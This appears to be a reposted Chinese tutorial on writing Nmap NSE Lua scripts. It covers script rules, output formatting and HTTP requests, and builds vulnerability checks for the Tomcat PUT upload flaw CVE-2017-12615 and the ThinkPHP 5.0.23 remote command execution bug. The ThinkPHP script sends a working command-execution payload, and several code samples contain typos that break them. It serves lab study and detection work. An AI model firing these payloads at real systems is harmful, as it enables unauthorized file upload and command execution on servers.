Nmap腳本編寫


 

Nmap介紹

 
Nmap是一個強大的掃描工具,是一個開源的工具(欽佩開源開發者)
 
腳本位置位於:

Ubuntu:
/usr/share/nmap/scripts/
MAC:
/usr/local/Cellar/nmap/7.70/share/nmap/scripts
看來Mac使用Brew下載的東西都在 /usr/local/Cellar/ 里面

 
自帶的腳本數量很多
 
接下來是他的腳本參數
 

SCRIPT SCAN:
  -sC: equivalent to --script=default
  --script=<Lua scripts>: <Lua scripts> is a comma separated list of
           directories, script-files or script-categories
  --script-args=<n1=v1,[n2=v2,...]>: provide arguments to scripts
  --script-args-file=filename: provide NSE script args in a file
  --script-trace: Show all data sent and received
  --script-updatedb: Update the script database.
  --script-help=<Lua scripts>: Show help about scripts.
           <Lua scripts> is a comma-separated list of script-files or
           script-categories.

 
-sC 是指采用默認配置掃描與--script=default等價
 
--script=腳本名(一般位於Scripts目錄下)
 
ls | sed 's/.nse//' > name.list可以快速將我們所有的腳本名字整出來
 

 
--script-args=ker1=value1,key2=value2該參數是用來傳遞腳本里面的參數

-–script-args-file=filename使用文件夾來為腳本提供參數

--script-trace如果沒有設置該參數,則所有的腳本收發請求過程都會顯示

--script-updatedb Script目錄自帶一個script.db,該文件中保存了當前Nmap可用的腳本類似於一個小型數據庫,如果我們開啟nmap並且調用了此參數,則nmap會自行掃描scripts目錄中的擴展腳本,進行數據庫更新
--script-help=腳本名,調用該參數后,Nmap會輸出該腳本名稱對應的腳本使用參數,以及詳細介紹信息。
 
-sC參數調用的默認腳本

https://nmap.org/nsedoc/categories/default.html

確實挺多的

腳本執行規則

 
Nmap在調用任何腳本之前都會執行nse_main.lua這個腳本,里面定義了一些腳本的執行規則,首先是在大約64行左右吧
 

 

prerule //再掃描任何主機之前,prerule函數執行一次
hostrule //在掃描一個主機之后運行一次
portrule //在掃描一個主機的端口后運行一次
postrule //在全部掃描完畢后運行一次

 
可以寫一個腳本實驗一下
 

prerule=function()
    print("prerule()")
end
hostrule=function()
    print("hostrule()")
end
portrule=function()
    print("portrule()")
end
action=function()
    print("action()")
end
postrule=function()
    print("postrule()")
end

 
使用一下實驗一下結果
 

 
action函數是在portrulehostrule返回true后自動執行的函數
 

local stdnse = require "stdnse"
prerule=function()
end
hostrule=function(host)
    return true
end
portrule=function(host,port)
    return true
end
action = function()
    print("[*]action ...")
end
postrule=function()
end

 

主機/端口

&nbsp
在進行主機掃描的時候我們會執行hostrule函數,這個還有一個形參,就是host(在Lua語言中它是一種叫做 表 的數據類型,就當他是php中的關聯數組吧),里面包含一些信息
 

 
同樣的對於portrule也是一樣的
 

 
不過有兩個參數hostport
 

優化輸出格式--表

 
在stdnse包中有一個函數叫output_table(),它能夠返回一個table數據類型,通過操作這個table,將Key->Value的對應關系數據或列表數據放入,再return,就可以輸出漂亮的格式
 

local stdnse = require "stdnse"
http_table = stdnse.output_table()
prerule=function()
end
hostrule=function(host)
end
portrule=function(host,port)
    if(port.number == 53 or port.number == 443)then
        http_table.http_host_mac = stdnse.format_mac(host.mac_addr)
        return true
    end
end
action=function()
    return http_table
end
postrule=function()
end

 

 
 

Http包的使用

 
一般做漏洞驗證的時候,就需要使用Http包來發送請求信息,最后根據結果來判斷是否有漏洞
 

  • 響應表

 
響應表中主要涵蓋了:HTTP狀態碼、HTTP響應頭、HTTP版本、HTTP原始響應頭、Cookies、HTTP響應主體內容(body)等

|   Response: 
|     status: 200
|     header: 
|       content-length: 0
|       allow: POST,OPTIONS,HEAD,GET
|       connection: close
|       content-type: text/html
|       server: Apache/2.4.29 (Debian)
|       date: Fri, 06 Jul 2018 07:02:13 GMT
|     ssl: false
|     body: 
|     cookies: 
| 
|     status-line: HTTP/1.1 200 OK\x0D
| 
|     rawheader: 
|       Date: Fri, 06 Jul 2018 07:02:13 GMT
|       Server: Apache/2.4.29 (Debian)
|       Allow: POST,OPTIONS,HEAD,GET
|       Content-Length: 0
|       Connection: close
|       Content-Type: text/html
|       
|_    version: 1.1

 

  • Options表

 
Options表主要用於設置HTTP請求時的超時時間、Cookie、請求頭、HTTP認證、頁面緩存、地址類型(IPV4/IPV6)、是否驗證重定向
 

{
timeout:
header:{"Content-Type":"",...},
cookies:{{"name","value","path"},...},
auth:{username:"",password:""},
bypass_cache:true,
no_cache:true,
no_cache_body:true,
any_af:true,
redirect_ok:true
}

 

  • 發送http請求

 
使用http包中的generic_request可以發送HTTP請求
 
參數如下
 

host : host表
port : port 表
method : HTTP方法,例如:GET、POST、HEAD…
path : 請求路徑,默認是根路徑“/”
options : 用於設置請求相關的Cookie、超時時間、header

 
發送OPTIONS請求獲取目標服務支持哪些HTTP方法
 

local stdnse = require("stdnse")
local http = require("http")
prerule=function()
end
hostrule=function()
    return false
end
portrule=function(host,port)
    if(port.number == 12345) then
        return true
    end
end
action=function(host,port)
    local result = http.generic_request(host,port,"OPTIONS","/",nil)
    if(result.status == 200 ) then
        local allow=stdnse.oupput_table()
        allow.allowMethod=result.header["allow"]
        return allow
    end
en

 
發送Get請求(就是generic_request函數少了一個、method參數)
 

local stdnse = require "stdnse"
local http = require "http"
prerule=function()
end
hostrule=function(host)
    return false
end
portrule=function(host,port)
    if(port.number == 80) then
        return true
    end
    return false
end
action = function(host,port)
    local result = http.get(host,port,"/nmap")
    if(result.status == 404)then
        local status = stdnse.output_table()
        status.response_line = result["status-line"]
        return status
    end
end
postrule=function()
end

 
發送POST請求
 
參數如下
 

host : host表
port : port 表
path : 請求路徑,默認是根路徑“/”
options : 用於設置請求相關的Cookie、超時時間、header
ignored : 是否忽略向后兼容性
postdata : post提交數據,可以是一個表,也可以是一個字符串,具體形式如下:

 
postdata有兩種表現形式
 

username=admin&password=admin
或者:
local data = {}
data.username = "admin"
data.password = "admin"

 

local stdnse = require("stdnse")
local http = require("http")
hostrule=function(host)
    return false
end
portrule=function(host,port)
    if(port.number == 12345) then
        return true
    end
    return false
end
action=function(host,port)
    local data = {}
    data.username = "admin"
    data.password = "admin"
    local result = http.post(host,port,"/1.php",nil,true,data)
    if(result.status==200) then
        local message = stdnse.output_table()
        message.response_line= result["body"]
        return message
    end
end

 
http.generic_request以及http.posthttp.get等都返回一個響應表,我們可以從中取出一些數據來驗證POC或者EXP等是否有效
 

簡單腳本編寫

 
編寫CVE-2017-12615的驗證腳本
 
這里面我用了Vulhub的環境來進行復現
 
這個漏洞就是利用PUT像服務器惡意上傳文件,並且上傳成功后的狀態碼為201
 

 

local stdnse = require("stdnse")
local http = require("http")
local 
hostrule=function()
end
portrule=function(host,port)
    local num_port = {80,8080,8090,8899}
    for test in pairs(num_port)do
        if(port.number ==  num_port[test])then
            return true
        end
    end
end
action=function(host,port)
    local poc_string="Mikasa"
    local file_name=string.format("/%d.jsp",math.random(9999))
    local put_upload=http.put(host,port,file_name .. "/",nil,poc_string)
    local output=stdnse.output_table()
    if(put_upload.status == 201)then
        output.shell_name=file_name
        return output
    end
    return false
end
postrule=function()
end

 

 

 

腳本進階編程

 
上面的例子是根據我們http狀態碼來進行判斷的,但是在檢測的時候大多數都是對響應內容的排查,這時候就要就要學習一下字符串操作函數以及HTTP包自帶的函數
 

response_contains函數,用於在響應表中匹配字符串,參數如下:
response : 響應表,可以是(http.get、http.post、http. pipeline_go、http.head等函數的返回值)
pattern : 字符串匹配模式,可參考lua手冊
case_sensitive : 是否區分大小寫,默認值為false,不區分
返回值:
match_state : 匹配成功為true,匹配失敗為false

 
Lua字符匹配
 

 

 
lua中的特殊字符是%.^$+-*?
 
比如上方我們可以驗證是否我們上傳的文件內容是否是正確的
 

local stdnse = require("stdnse")
local http = require("http")
local 
hostrule=function()
end
portrule=function(host,port)
    local num_port = {80,8080,8090,8899}
    for test,test233 in pairs(num_port)do
        if(port.number ==  test233)then
            return true
        end
    end
end


action=function(host,port)
    local shell_name=string.format("%sQAQ%d.jsp","/",math.random(9999))
    local put_upload=http.put(host,port,shell_name .. "/",nil,"CVE-2017-12615")
    local status=stdnse.output_table()
    if(put_upload.status== 201)then
        status.shell_name=shell_name
        local get_test=http.get(host,port,shell_name)
        if(get_test and http.response_contains(get_test,"CVE%-2017%-12615"))then

            return status
        end
        return false
    end
    return false
end

 
更多庫可以參考
 
https://nmap.org/nsedoc/lib/
 

ThinkphpRce檢測

 
上面都是根據別人博客學習總結的,自己也想寫一個,但不知道寫什么,於是就拿來寫Thinkphp吧
 

local stdnse = require("stdnse")
local http = require("http")
prerole=function()
end
hostrule=function()
end
portrule=function(host,port)
    local port_num={80,443,8080}
    for test,ppp in pairs(port_num)do
        if(port.number == ppp)then
            return true
        end
    end
end

action=function(host,port)
    local uri="/index.php?s=captcha"
    local data = {}
    data["_method"] = "__construct"
    data["filter[]"] = "system"
    data["method"] = "get"
    data["server[REQUEST_METHOD]"] = "echo Mikasa > 2.txt"
    local qqqq=http.post(host,port,uri,nil,true,data)
    local uri="/2.txt"
    local status = stdnse.output_table()
    local post_data =http.get(host,port,uri)
    if(post_data.status == 200 )then
        status.vlun="ThinkPhpRce"
        return status
    end
end

 

 
這個其實不完美,哎,我的水平就這樣...
 

Nmap完整腳本

 
一個完整的NSE腳本應該包含以下字段
 
description:腳本的描述以及catagories:腳本的分類rule:腳本觸發規則還有action:腳本執行內容
 
上面完整的代碼如下
 

local stdnse = require("stdnse")
local http = require("http")
local vulns = require("vulns")
description = [[Chink ThinkPhp5.0.23-Rce]]

author = "Mikasa"

license = "Same as Nmap--See http://nmap.org/book/man-legal.html"

categories = {"vuln"}


local vuln = {
    title = "ThinkPhp5.0.23-Rce",
    state = vulns.STATE.NOT_VULN,
    description = [[Chink ThinkPhp5.0.23-Rce]],
    IDS = {
     CVE = "" 
    },
    references = {
     ""
    },
       dates = {
        disclosure = { year = '2020', month = '3', day = '08' }
    }
}


prerole=function()
end
hostrule=function()
end
portrule=function(host,port)
    local port_num={80,443,8080}
    for test,ppp in pairs(port_num)do
        if(port.number == ppp)then
            return true
        end
    end
end

action=function(host,port)
    local vuln_report = vulns.Report:new(SCRIPT_NAME,host,port)
    local uri="/index.php?s=captcha"
    local data = {}
    data["_method"] = "__construct"
    data["filter[]"] = "system"
    data["method"] = "get"
    data["server[REQUEST_METHOD]"] = "echo Mikasa > 5.txt"
    local qqqq=http.post(host,port,uri,nil,true,data)
    local uri="/2.txt"
    local status = stdnse.output_table()
    local post_data =http.get(host,port,uri)
    if(post_data.status == 200 )then
        --status.vlun="ThinkPhpRce"
        vuln.state = vulns.STATE.VULN
        --return status
        return vuln_report:make_output(vuln)
    end
end

 

 
這里我們用漏洞報告的形式取代了以前的output_table()
 
關於Nmap腳本的學習就暫時到這里了
 

參考資料

 
https://github.com/shark1990/nmapScripts/blob/master/webLogic/CVE-2017-10271/CVE-2017-10271.nse

https://zhuanlan.zhihu.com/p/40681245

https://zhuanlan.zhihu.com/p/40677048

https://zhuanlan.zhihu.com/p/40678654

https://zhuanlan.zhihu.com/p/40681245

https://lengjibo.github.io/nmapnse/
 
多謝各位大佬寫的一系列文章


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM